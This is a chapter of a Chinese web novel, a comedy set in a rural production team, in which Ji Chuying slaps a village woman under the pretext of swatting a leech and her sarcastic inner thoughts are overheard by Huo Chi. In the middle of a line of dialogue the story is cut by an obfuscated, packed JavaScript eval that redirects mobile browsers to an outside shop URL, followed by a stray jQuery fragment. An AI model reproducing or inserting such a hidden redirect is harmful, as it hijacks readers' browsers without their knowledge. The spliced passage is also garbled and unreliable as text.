莫桂兰:“初萤!你怎么打人啊?我的天啦!”
她真是一点都不帮季初萤,很别有用心的高声叫了起来。
动静吸引了不远处正在调试插秧机的卫建国和霍驰。
两人都朝这边看过来。
竹棚下,七八个人围着季初萤和刘婆子。
卫建国想到这两人之间还有王老晕死的仇,怕不是刘婆子又在找季初萤的麻烦!
他放下东西:“霍驰!走,去看看!”
霍驰也放下扳手,擦了擦脸,跟过去。
刘婆子已经从刚才的呆滞中清醒过来。
她要死要活地往地上一坐,两手拍着大腿,仰天嚎叫:
“啊!!我不活了我不活了啊!”
“我活着遭人欺负啊!我今天就死在这儿!”
“谁也别拉我啊我撞死算了!!”
卫建国跑过来:“这咋了?”
霍驰眼睛飞快地扫了下季初萤,少女站在竹棚下,夕阳的暖光从竹柱的缝隙里透出来,打在她脸上。
她抬着头,脸色匀净自然,带着点淡粉,不像被吓出来的惨白。
卫建国:“刘婶,你先起来。”
刘婆子一看卫建国来了,嚎得更大声:“建国啊!季初萤她欺负我啊!”
“她打我!她打我啊建国!”
卫建国看向那几个目击证人。
季初萤打人,打的还是难缠的刘婆子?
众人齐声:“真的。”
虽然他们也不敢相信,听到巴掌声还用力揉了几下眼睛。
但没错,就是季初萤动手打了刘婆子。
想这刘婆子,蛮横一世,跟村里不少人干过仗,鲜有败绩。
现在竟然被软包子季初萤当众打了脸,真是活久了,什么都能看见。
莫桂兰同志大义凛然,化身为正义使者:“队长,说句良心话,确实是我家初萤动手了。”
其他人:“莫桂兰同志是一个好同志!”
莫桂兰挑了挑眉,那可不,我真骄傲。
霍驰看向季初萤。
季初萤站着不动,眼神像两潭沉水,没有一丝慌乱的碎影。
“队长,要不先问问季——”
霍驰话没说完,
【老巫婆!气得胸疼吧】
【我可不是娇滴滴的季初萤,有的是力气和手段】
【你以为我会乖乖接受审判吗?桀桀桀!】
?
他闭上了嘴。
为什么他总是听到这种奇怪的话?
季初萤乖巧无害的样子,不像能说出这种话的人。
莫桂兰就不一样了,她还在做一个高尚的有节操的女战士:“初萤,刘大娘没招你没惹你,你上来给人两个大嘴巴,是不是不应该?是不是说不过去!让人老脸往哪搁啊?”
刘婆子“哇——”的一声,哭得更大声了。
其他人也纷纷指责季初萤:“你这丫头是怎么回事?”
“好端端地打人,你爹娘没教过你吗?”
“天天学雷锋学到狗肚子里了!”
“刘婆子虽然不是啥好人,你也不铺垫一下子,能上来就打嘛?”
刘婆子:“……”
莫桂兰看得别提多舒心了。
自从季初萤醒来,她还没这么爽快过。
卫建国扶起刘婆子,语气严厉地对季初萤道:“季初萤,你这种殴打老同志的行为严重影响团结!”
“就是!”
“让这种人记工分,谁知道她会不会动手脚!”
“队长,这得罚她!”
“嗤!”季初萤笑了一声。
“嘿呀!你还笑?”莫桂兰声音尖细。
季初萤:“唉,我这是寒心呐。”
她嘴角往下一撇,眼睛红了半圈。
“嫂子,你再讨厌我,也不能帮着外人欺负我吧?”
莫桂兰:“你少胡说,我…我什么时候欺负你了!”
“别人不知道我性子软,你还不知道吗,我根本做不出打刘大娘的事,你不分青红皂白就说我打人。”
莫桂兰:“……你没打吗?”
季初萤:【打啦略略略!怎样?要判我死刑吗】
“呜呜……我没有,我是在帮刘大娘啊。”
此话一出,众人哗然。
“季初萤你可真能颠倒黑白!”
“我们都看见了!”
“那我来帮你两下,你要不要啊?”
季初萤作黛玉状,走到卫建国跟前,伸出手:“队长你看。”
数道目光齐刷刷聚焦在那淡粉的暖白手心里。
一条黄褐色的小蚂蝗在季初萤手掌心蜷缩着。
季初萤把手举到刘婆子面前:“刚才你脸上有个蚂蝗,都快钻进眼睛里了!”
刘婆子:啊?这样?
众人:噢!这样!
原来是拍蚂蝗的啊!
插秧的时候,经常有蚂蝗爬上来。
插完一垄直起腰歇气的时候,低头就能看见小腿上爬着一两条蚂蝗,有的都已经吸饱了,像血泡一样圆滚滚的。
遇到这种情况,就拍几下拍掉就好了。
所以季初萤看见刘婆子脸上有蚂蝗,用手掌拍下来是非常正确的操作。
众人顿时改变口风:
“我就说嘛!季丫头那么温软的性子,怎么可能伸手打人呢!”
“闹了半天是场误会啊!”
“嗐!大家想岔了!”
季初萤:“嫂子,你真是让我好伤心啊!”
莫桂兰:“……”
她张了几次嘴,憋出一句:“那……那你也不能打她啊。”
季初萤点头:
“你说的对,我应该装看不见,让蚂蝗钻进她眼睛里,再从眼睛钻到脑子里,把她脑子都吃了,养得黑黑胖胖,最后再从鼻孔里爬出来,满意吗?”
莫桂兰:“……”
“嫂子,你好残忍啊。”
莫桂兰:“???”
刘婆子听得脑子一抽一抽的疼:“好了好了,憋说了!”
季初萤委屈巴巴:“我以前可最怕这东西了!你知道我是克服了多么大的心理障碍帮你的吗?”
刘婆子:“……”
想起刚才自己撒泼打滚的样子,她有点不知道说什么了。
【才不是因为什么小蚂蝗!我就是要打你吼吼吼】
卫建国:“既然是误会,说开了就好了。季初萤是咱生产队的好社员!学雷锋不是嘴上说的,是实打实帮人!”
季初萤:【真.实打实】
霍驰:……
卫建国边走边大声道:“都散了都散了!明天还有三十亩地要插,都早点来!”
“霍驰!来,接着试机子!”
霍驰应了一声,又看了季初萤一眼,提步回到插秧机边。
过了一会儿,
“怎么?不好修?”
卫建国见霍驰拿着扳手一直不下手,不知道在想什么,便忍不住问道。
霍驰抿了抿唇:“队长,你觉不觉得季……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609406|205878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
卫建国:“啥?”
霍驰:“没,你觉不觉得机子的插播深度杆需要再拧紧一点?”
卫建国:“你专业,听你的!”
另一边,季初萤完成了今天的记分工作,把本子整理好送到大队部的会计室。
于会计随意翻了翻,赞道:“可以啊小季,干得不错啊小季!”
季初萤:“一般一般,还需努力。”
于会计呵呵笑了两声:“还挺谦虚啊小季。”
也不怯生了。
要搁以前,谁要是夸她两句,她不好意思的很,头能埋到地底下去。
季初萤:“于会计,您叫我大名就好。”
小季小季,像在唤鸡仔。
于会计笑得假不拉几:“那我叫你初萤怎么样。”
季初萤顿时起了警惕心:何意味?王八羔子你想老牛吃嫩草?
于会计上下打量她:“你这一昏迷,比以前瘦多了,都出落成大姑娘了。”
季初萤微扯嘴角:“是呢。”
把你打开花儿的大姑娘。
“有空的话,一起吃个饭?”
季初萤乡里乡气地说:“我看就木有这个必要了吧。”
于会计:“是你爹提议的。”
季初萤:“……”
季老实真是丧心病狂,灭绝人性。
他是不是想当土墩大队全体老登的爹?
为什么光给她物色这个年龄段?
想长辈分就让自己两个儿子努力生孩子啊,为什么老想走歪门邪道?
季初萤:“我爹可能是看上你了吧?我只是个幌子。”
既然你造孽,就别怪我造谣了。
于会计:“啊?”
季初萤压低声音:“我爹跟我娘的感情其实不好,他喜欢的是男人。”
于会计:“!”
“尤其是你们这种成熟稳重的哥哥型,简直是他的心头爱。”
她同情地看了看于会计的屁股。
“也是,谁不喜欢这种身上有着岁月质感的老大哥呢?”
“这……这也……”
于会计一时间难以消化如此大的信息量。
现在看季初萤,都觉得自己的屁股隐隐作痛:“那什么,你先回去吧。”
“好嘞。”
.
出了大队部,季初萤看见前面有个高大的身影。
背影很直,像挺拔的白杨树,宽肩窄腰又比白杨树多了丝性感。
灰蓝色的工作服装脏兮兮的,裤子上溅了许多泥点子。
他走得慢吞吞,季初萤小跑几步就能追上。
但她没有追上去,而是饶有兴致地盯着霍驰的背影。
【此情此景,我想吟诗一首】
【啊!不是软的,是被风熨过的山脊】
【啊!是……是】
【词穷】
【不是色盲的我是个文盲】
霍驰:……
【我只能说能忍住不看屁股的是这个[大拇指]】
季初萤刚转完念头,就见前面的人突然加快脚步。
好像背后有恶狼似的。
迎面的风,带着热意,把霍驰衣服吹得乱晃。
吹得他快要同手同脚。
.
路边灌木丛里,卫恒杰看着一前一后的身影快速拉开距离。
他还以为,今天白来了。
灌木丛里的蚊子特别多,为了蹲季初萤,他被咬了满脸包。
季初萤,你的劫来了!